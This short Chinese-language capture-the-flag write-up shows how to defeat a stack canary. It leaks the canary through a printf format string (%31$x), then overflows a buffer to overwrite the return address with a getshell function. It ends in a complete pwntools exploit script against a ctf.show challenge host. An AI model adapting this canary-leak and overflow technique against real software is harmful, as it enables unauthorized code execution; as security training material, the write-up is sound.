checksec发现开启canary和NX保护
明显找vuln函数
在printf下断点
run之后随便输个值,看看栈的内容
打出canary的值看看
在栈中找到canary和ret(返回地址)的位置
数出canary和printf的偏移是31(124/4),canary可以通过%31$x
泄露
想让printf输出的内容用exploit地址覆盖掉返回地址,而且canary的值不变
那么构造的输入内容应该包括:
- 从字符串起点到canary共长100的填充
- canary
- 从canary到ret共长12的填充
payload = b'a'*100 + p32(canary) + b'a'*12 + p32(getshell_addr)
exp:
from pwn import *
#p = process("./ex2")
p = remote("pwn.challenge.ctf.show", 28110)
p.recvuntil("Hacker!\n") #记得接受那行Hacker!\n
p.sendline(b"%31$x") #别改不会改
canary = int(p.recv(), 16) #bytes转int
getshell_addr = 0x0804859B
payload = b'a'*100 + p32(canary) + b'a'*12 + p32(getshell_addr)
p.sendline(payload)
p.interactive()